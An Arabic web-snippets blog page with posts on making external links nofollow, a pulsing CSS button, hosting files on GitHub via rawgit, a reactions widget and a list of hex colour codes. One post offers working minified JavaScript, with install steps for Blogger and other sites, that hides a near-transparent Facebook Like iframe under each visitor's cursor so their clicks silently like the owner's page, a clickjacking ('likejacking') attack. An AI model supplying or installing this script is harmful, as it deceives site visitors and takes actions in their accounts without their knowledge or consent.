الكود الذي يجعل جميع الروابط الخارجية في موقعك نوفولو

اكواد المواقع

الكود الذي يجعل جميع الروابط الخارجية في موقعك نوفولو

glokall 11:09 ص اضف تعليق

أكمل المقال

إذا كان لديك موقع مزدحم بالمشاركات والتعليقات من مستخدمين آخرين فمن الصعب السيطرة على الروابط الخارجية وخصوصا تلك التي تؤدي بالنهاية إلى ضعف ترتيب الموقع في محرك البحث.

كود نوفولو (Nofollow) سوف يضع علامة rel="nofolow" على جميع الروابط الخارجية في مدونتك بالإضافة إلى علامة target="_blank" والتي تعمل على فتح الرابط الخارجي في علامة تبويب جديدة.

نستطيع أيضا تضمين هذا الكود في أي موقع غير منصة بلوجر حيث يجب أن يكون الكود التالي فوق الرمز </body> في المجلد الرئيسي للموقع سواء كان منتدى او منصة ووردبريس.

لتضمين الكود في مدونات بلوجر:
أدخل لوحة تحكم مدونتك --> القالب --> أنقر على تحرير html ثم ابحث عن الرمز </body> ثم أضف الكود التالي فوق الرمز </body> مباشرةً

<script type='text/javascript'>
//<![CDATA[
$("a").filter(function(){return this.hostname&&this.hostname!==location.hostname}).attr('rel', 'nofollow').attr('target', '_blank');
//]]>
</script>

أنقر على حفظ القالب.

النتيجة:

أضف لمدونتك زر بإستخدام CSS يظهر ويختفي بطريقة رائعة

اكواد المواقع

أضف لمدونتك زر بإستخدام CSS يظهر ويختفي بطريقة رائعة

glokall 7:10 ص اضف تعليق

أكمل المقال

السلام عليكم ورحمة الله وبركاته
نقدم لكم اليوم زر فريد من نوعه لجميع أصحاب المواقع تستطيع إستخدامه في مدونتك أو في أي مواقع أخرى حتى في ووردبريس، يعمل الزر بتقنية CSS يظهر ويختفي ويكبر ويصغر ليجذب إنتباه الجميع.

معاينة:

انقر هنا

كود الزر:

<style>
.contacta1 a {
    float:left;
    font-size: 18px;
    font-style: italic;
    margin: 40px 40px 40px 300px;
    padding: 60px 20px;
    border: 3px solid #e1e1e1;
    background: red;
    border-radius: 80px;
    color: #fff;
    box-shadow: 4px 4px 6px rgba(0,0,0,0.30);
    filter: progid:DXImageTransform.Microsoft.Shadow(color='#e1e1e1', Direction=145, Strength=5);
    animation: pulso 4s ease-out;
    animation-iteration-count: infinite; 
    -ms-animation: pulso 4s ease-out;
    -ms-animation-iteration-count: infinite; 
    -webkit-animation: pulso 4s ease-out;
    -webkit-animation-iteration-count: infinite; 
    opacity: 0.0;   
}
@-webkit-keyframes pulso {
    0% {-webkit-transform: scale(0.1, 0.1); opacity: 0.0;}
    50% {opacity: 1.0;}
    100% {-webkit-transform: scale(1.2, 1.2); opacity: 0.0;}
}
@keyframes pulso {
    50% {opacity: 1.0;}
    100% {transform: scale(1.2, 1.2); opacity: 0.0;}
    0% {-ms-transform: scale(0.1, 0.1); opacity: 0.0;}
    50% {opacity: 1.0;}
    100% {-ms-transform: scale(1.2, 1.2); opacity: 0.0;}
    0% {transform: scale(0.1, 0.1); opacity: 0.0;}
}
.contacta1 a:hover {
    animation-play-state:paused; 
    -webkit-animation-play-state:paused;
    -ms-animation-play-state:paused; 
     background: green;
}
</style>

<div class="contacta1">
<a href="http://www.madad2.com/">انقر هنا</a>
</div>

تستطيع إضافته في أي مكان مدونتك أو من خلال القالب (محرر html) أو من التخطيط إضافة أداة ثم أداة javascript/html 
كما يمكن إضافتها في مواقع ووردبريس وحتى المنتديات إذا كنت بحاجة للمزيد من المساعدة الرجاء ترك تعليق.

كيفية إستضافة ملفات js و css على موقع github

اكواد المواقع شروحات Css

كيفية إستضافة ملفات js و css على موقع github

glokall 10:45 ص اضف تعليق

أكمل المقال

ماهو موقع github؟ GitHub هي خدمة ويب لاستضافة مشاريع تطوير البرمجيات باستخدام Git لنظام التحكم بالمراجعات. تقدم GitHub خطتين الأولى مدفوعة وهي لعمل مستودعات خاصة والثانية مجانية وهي للمشاريع المفتوحة المصدر. في مايو 2011 كانت GitHub الموقع الأشهر لمستودعات الشفرات مفتوحة المصدر.

يعتبر اليوم موقع GitHub من أفضل المواقع لإستضافة ملفات المواقع بشكل دائم فهو خدمة لا غنى عنها بعد اليوم وخصوصًا بعد توقف موقع جوجل كود من جوجل لإستضافة المشاريع وموقع دروبكوس بالإضافة إلى جوجل دريف الذي سوف يتوقف عن العمل بعد 31 من آب (أغسطس) 2016. بحسب البيان الذي إصدر مؤخرًا.

 كيف ترفع ملفات js و css على موقع GitHub والحصول على رابط مباشر لها؟

1. نقوم بالتسجيل في موقع https://github.com/
2. بعد التسجيل في الموقع وتسجيل الدخول إليه بإستخدام إسم المستخدم او البريد الإلكتروني نقوم بالنقر على زر New repository  من الصفحة الرئيسية

3. أدخل إسم المجلد الخاص بك مع وضع علامة على المربع المشار إليه  ثم انقر على Create repository

4. بعدها سوف تنتقل إلى المجلد الذي أنشئته أنقر على new file 

5. كما بالصورة أدخل إسم الملف الخاص بك منتهيًا ب .js أو .css ثم أدخل الكود في المربع الخاص بالشفرة.
على سبيل المثال أنا رفعت خط https://rawgit.com/mohammedxx/madad2/master/GESSTwoMediumRegular.css لمدونتي.

6. للحصول على رابط مباشر للملف الذي قمنا بإضافته قم بنسخ رابط الملف الذي انشئته من المجلد 

7. بعد نسخ الرابط أنتقل للموقع https://rawgit.com ثم أدخل الرابط الذي نسخته من الموقع بعدها أنسخ الرابط المباشر الذي تم توليده بعد لصق رابط الملف.

إلى هنا نكون تعلمنا كيف نستضيف ملفات الموقع الخاصة بنا على هذا الموقع المجاني بسهولة وثقة، نأمل إذا كان هناك أية أسئلة إضافية حول هذا الموضوع المشاركة في التعليقات.

كود الإعجاب التلقائي لجميع زوار مدونتك أو موقعك 2016

اكواد المواقع بلوجر

كود الإعجاب التلقائي لجميع زوار مدونتك أو موقعك 2016

glokall 11:55 ص اضف تعليق

أكمل المقال

السلام عليكم ورحمة الله وبركاته

سابقًا شاركنا معكم موضوع كود الإعجاب التلقائي بصفحة فيسبوك لكل زوار مدونتك اومنتداك  ومضى على هذا الكود حوالي سنتين من اليوم وفي تلك السنوات الماصية كان هناك الكثير من التحديثات على فيسبوك لذلك اليوم نقدم لكم كود جديد لجعل جميع زوار موقعك يعجبون في صفحتك على فيسبوك !!

كيفية إضافة الكود إلى مدونات بلوجر؟

أدخل لوحة التحكم في مدونتك/ أختر القالب ثم أنقر على تحرير HTML  ثم أبحث عن الرمز </body> (سوف تجده أسفل أكواد القالب) بعد العثور عليه أضف الكود التالي فوق الرمز </body> مباشرةً:

<script type='text/javascript'>
 //<![CDATA[
 // Facebook
 var fan_page_url="https://www.facebook.com/mdadice/",opacity=.01,time=15e3;(document.getElementById&&window.addEventListener||window.attachEvent)&&!function(){function e(e){var t,n;return h?(t=d.pageYOffset,n=d.pageXOffset):(t=d.scrollTop,n=d.scrollLeft),0==e?t:n}function t(t){var n=h?window.pageYOffset:0;t||(t=window.event),"number"==typeof t.pageY?(r=t.pageY-15-n,l=t.pageX-34):(r=t.clientY-16-n,l=t.clientX-36),u.top=r+e(0)+s,u.left=l+s}function n(){u.top=r+e(0)+s,setTimeout(n,300)}function o(){u=document.getElementById("theiframe").style,n()}function i(e){var t=document.cookie,n=t.indexOf(" "+e+"=");if(-1==n&&(n=t.indexOf(e+"=")),-1==n)t=null;else{n=t.indexOf("=",n)+1;var o=t.indexOf(";",n);-1==o&&(o=t.length),t=unescape(t.substring(n,o))}return t}function a(e,t,n){var o=new Date;o.setDate(o.getDate()+n);var i=escape(t)+(null==n?"":"; expires="+o.toUTCString());document.cookie=e+"="+i}var d,m,c=document,r=-10,l=-10,u="",p=(document.getElementsByTagName("div").length,"<iframe id='theiframe' scrolling='no' frameBorder='0' allowTransparency='true' src='http://www.facebook.com/widgets/like.php?href="+encodeURIComponent(fan_page_url)+"&amp;layout=standard&amp;show_faces=true&amp;width=80&amp;action=like&amp;colorscheme=light&amp;height=30' style='position:absolute;width:53px;height:30px;z-index: 200000;overflow:hidden;border:0;opacity:"+opacity+";filter:alpha(opacity="+100*opacity+");'></iframe>"),f=i("faceLike");null!=f&&""!=f||(a("faceLike","liked",1),document.write(p),m=document.getElementById("theiframe"),document.getElementsByTagName("body")[0].appendChild(m));var s="px",w="number"==typeof window.innerWidth,h="number"==typeof window.pageYOffset;w?d=window:c.documentElement&&"number"==typeof c.documentElement.clientWidth&&0!=c.documentElement.clientWidth?d=c.documentElement:c.body&&"number"==typeof c.body.clientWidth&&(d=c.body),0!=time&&setTimeout(function(){document.getElementsByTagName("body")[0].removeChild(m),window.addEventListener?document.removeEventListener("mousemove",t,!1):window.attachEvent&&document.detachEvent("onmousemove",t)},time),window.addEventListener?(window.addEventListener("load",o,!1),document.addEventListener("mousemove",t,!1)):window.attachEvent&&(window.attachEvent("onload",o),document.attachEvent("onmousemove",t))}();
 //]]>
 </script>

غير الرابط https://www.facebook.com/mdadice/ برابط صفحتك على فيسبوك ثم أنقر على حفظ القالب.

بالنسبة للمواقع الأخرى يمكن إضافة الكود فوق الرمز </body> في أي قالب من القوالب الرئيسية سواء كان منتدى أو موقع.

ملاحظة: الكود فعال 100% ولكن قد لا يظهر لك في جميع الأوقات والكود لا يظهر للصفحات التي كنت معجب بها جرب إضافة الكود لصفحات أخرى للتحقق منه.

إضافة ردود الفعل لمدونة بلوجر أو لموقعك مثل فيسبوك

اكواد المواقع بلوجر ووردبريس

إضافة ردود الفعل لمدونة بلوجر أو لموقعك مثل فيسبوك

glokall 11:33 ص اضف تعليق

أكمل المقال

أضافت مؤخرًأ فيسبوك مجموعة ردود فعل مع تسجيل الزر الخاص بالأعجاب، وهذه الإضافة أتت بشكل جميل لمعظم المستخدمين للتعبير عن آرائهم.

يمكن إضافة ردود فعل لموقعك او مدونة بلوجر كذلك بنفس الطريقة وذلك من خلال الموقع vicomi.com ليس هذا وحسب فهو بمثابة إضافة مواضيع ذات الصلة ايضًا فبمجرد النقر على التعبير سوف يظهر للمستخدم مجموعة مواضيع من موقعك بناءً على مزاجه!

معاينة

كيفية إضافتها لموقعك
1. بالبداية نقوم بتوجه إلى الرابط
2. أدخل البيانات المطلوبة في الخانات اسفل البريد الإلأكتروني, كلمة المرور, رابط المدونة أو الموقع, أختر اللغة المطلوبة (اللغة العربية متوفرة)

3. يمكنك تسمية التعبيرات بأسماء أخرى كما تريد

4. أنسخ الكود بعد إتمام عملية التسجيل ثم اضفه في أي مكان تريد ظهوره في موقعك أو مدونتك ويفضل إضافته اسفل كل موضوع
ولإضافته أسفل المواضيع في مدونة بلوجر حول الكود الذي قمت بنسخه من خلال "محول أكواد بلوجر"
أدخل القالب / أنقر على تحرير html ثم أبحث عن الرمز <data:post.body/> كيف ابحث عن الاكواد في مدونة بلوجر
قد تجد أكثر من رمز <data:post.body/> جرب واحد تلو الأخر بإضافة الكود المحول أسفله حتى تظهر ردود الفعل.

لإضافته لسكربت ووردبريس قم بتحميل الإضافة من الرابط

اكثر من 100 اكواد الالوان

اكواد اكواد المواقع اكواد Html

اكثر من 100 اكواد الالوان

glokall 10:10 ص اضف تعليق

أكمل المقال

اكواد الالوان - رموز الالوان - كود الالوان

 مجموعة من رموز اكواد الالوان المختلفة جمعتها خصيصا لك اخي الكريم.

بالتأكيد او كنت مصصم للمواقع فمن الضروري لك ان تتوفر على قائمة تحتوي على رموز اكواد الالوان  لتستخدمها في تصميم موقعك او موقع عميلك .طبعا لا يمكن للعقل البشري استوعاب وتدكر هدا الكم الهائل من رموز الاكواد المختلفة .  

ملاحظة هامة :1 - لا تنسى اضافة # الى كود اللون الدي قمت باختياره .

2 - هده الاكواد تستخدم في صفحات html. 

اكثر من 100 اكواد الالوان 

بدون اطالة تفضل قائمة اكواد الالوان وقم بالبحث عن كود اللون الدي سيناسب تصميم صفحة موقعك ولا تنسى حفظ التدوينة في مفضلتك فقد تحتاجها كثيرا في عملك

اكواد الالوان

000000 000020 000040 000060 000080 0000a0 0000c0 0000ff 002000 002020 002040 002060 002080 0020a0 0020c0 0020ff 004000 004020 004040 004060 004080 0040a0 0040c0 0040ff 006000 006020 006040 006060 006080 0060a0 0060c0 0060ff 008000 008020 008040 008060 008080 0080a0 0080c0 0080ff 00a000 00a020 00a040 00a060 00a080 00a0a0 00a0c0 00a0ff 00c000 00c020 00c040 00c060 00c080 00c0a0 00c0c0 00c0ff 00ff00 00ff20 00ff40 00ff60 00ff80 00ffa0 00ffc0 00ffff 200000 200020 200040 200060 200080 2000a0 2000c0 2000ff 202000 202020 202040 202060 202080 2020a0 2020c0 2020ff 204000 204020 204040 204060 204080 2040a0 2040c0 2040ff 206000 206020 206040 206060 206080 2060a0 2060c0 2060ff 208000 208020 208040 208060 208080 2080a0 2080c0 2080ff 20a000 20a020 20a040 20a060 20a080 20a0a0 20a0c0 20a0ff 20c000 20c020 20c040 20c060 20c080 20c0a0 20c0c0 20c0ff 20ff00 20ff20 20ff40 20ff60 20ff80 20ffa0 20ffc0 20ffff 400000 400020 400040 400060 400080 4000a0 4000c0 4000ff 402000 402020 402040 402060 402080 4020a0 4020c0 4020ff 404000 404020 404040 404060 404080 4040a0 4040c0 4040ff 406000 406020 406040 406060 406080 4060a0 4060c0 4060ff 408000 408020 408040 408060 408080 4080a0 4080c0 4080ff 40a000 40a020 40a040 40a060 40a080 40a0a0 40a0c0 40a0ff 40c000 40c020 40c040 40c060 40c080 40c0a0 40c0c0 40c0ff 40ff00 40ff20 40ff40 40ff60 40ff80 40ffa0 40ffc0 40ffff رموز الالوان 600000 600020 600040 600060 600080 6000a0 6000c0 6000ff 602000 602020 602040 602060 602080 6020a0 6020c0 6020ff 604000 604020 604040 604060 604080 6040a0 6040c0 6040ff 606000 606020 606040 606060 606080 6060a0 6060c0 6060ff 608000 608020 608040 608060 608080 6080a0 6080c0 6080ff 60a000 60a020 60a040 60a060 60a080 60a0a0 60a0c0 60a0ff 60c000 60c020 60c040 60c060 60c080 60c0a0 60c0c0 60c0ff 60ff00 60ff20 60ff40 60ff60 60ff80 60ffa0 60ffc0 60ffff 800000 800020 800040 800060 800080 8000a0 8000c0 8000ff 802000 802020 802040 802060 802080 8020a0 8020c0 8020ff 804000 804020 804040 804060 804080 8040a0 8040c0 8040ff 806000 806020 806040 806060 806080 8060a0 8060c0 8060ff 808000 808020 808040 808060 808080 8080a0 8080c0 8080ff 80a000 80a020 80a040 80a060 80a080 80a0a0 80a0c0 80a0ff 80c000 80c020 80c040 80c060 80c080 80c0a0 80c0c0 80c0ff 80ff00 80ff20 80ff40 80ff60 80ff80 80ffa0 80ffc0 80ffff a00000 a00020 a00040 a00060 a00080 a000a0 a000c0 a000ff a02000 a02020 a02040 a02060 a02080 a020a0 a020c0 a020ff a04000 a04020 a04040 a04060 a04080 a040a0 a040c0 a040ff a06000 a06020 a06040 a06060 a06080 a060a0 a060c0 a060ff a08000 a08020 a08040 a08060 a08080 a080a0 a080c0 a080ff a0a000 a0a020 a0a040 a0a060 a0a080 a0a0a0 a0a0c0 a0a0ff a0c000 a0c020 a0c040 a0c060 a0c080 a0c0a0 a0c0c0 a0c0ff a0ff00 a0ff20 a0ff40 a0ff60 a0ff80 a0ffa0 a0ffc0 a0ffff كود الالوان c00000 c00020 c00040 c00060 c00080 c000a0 c000c0 c000ff c02000 c02020 c02040 c02060 c02080 c020a0 c020c0 c020ff c04000 c04020 c04040 c04060 c04080 c040a0 c040c0 c040ff c06000 c06020 c06040 c06060 c06080 c060a0 c060c0 c060ff c08000 c08020 c08040 c08060 c08080 c080a0 c080c0 c080ff c0a000 c0a020 c0a040 c0a060 c0a080 c0a0a0 c0a0c0 c0a0ff c0c000 c0c020 c0c040 c0c060 c0c080 c0c0a0 c0c0c0 c0c0ff c0ff00 c0ff20 c0ff40 c0ff60 c0ff80 c0ffa0 c0ffc0 c0ffff ff0000 ff0020 ff0040 ff0060 ff0080 ff00a0 ff00c0 ff00ff ff2000 ff2020 ff2040 ff2060 ff2080 ff20a0 ff20c0 ff20ff ff4000 ff4020 ff4040 ff4060 ff4080 ff40a0 ff40c0 ff40ff ff6000 ff6020 ff6040 ff6060 ff6080 ff60a0 ff60c0 ff60ff ff8000 ff8020 ff8040 ff8060 ff8080 ff80a0 ff80c0 ff80ff ffa000 ffa020 ffa040 ffa060 ffa080 ffa0a0 ffa0c0 ffa0ff ffc000 ffc020 ffc040 ffc060 ffc080 ffc0a0 ffc0c0 ffc0ff ffff00 ffff20 ffff40 ffff60 ffff80 ffffa0 ffffc0 ffffff اكواد المواقع وختاما اتمنى ان تكون قد استفدت من هده التدوينة لمختلف رموز اكواد الالوان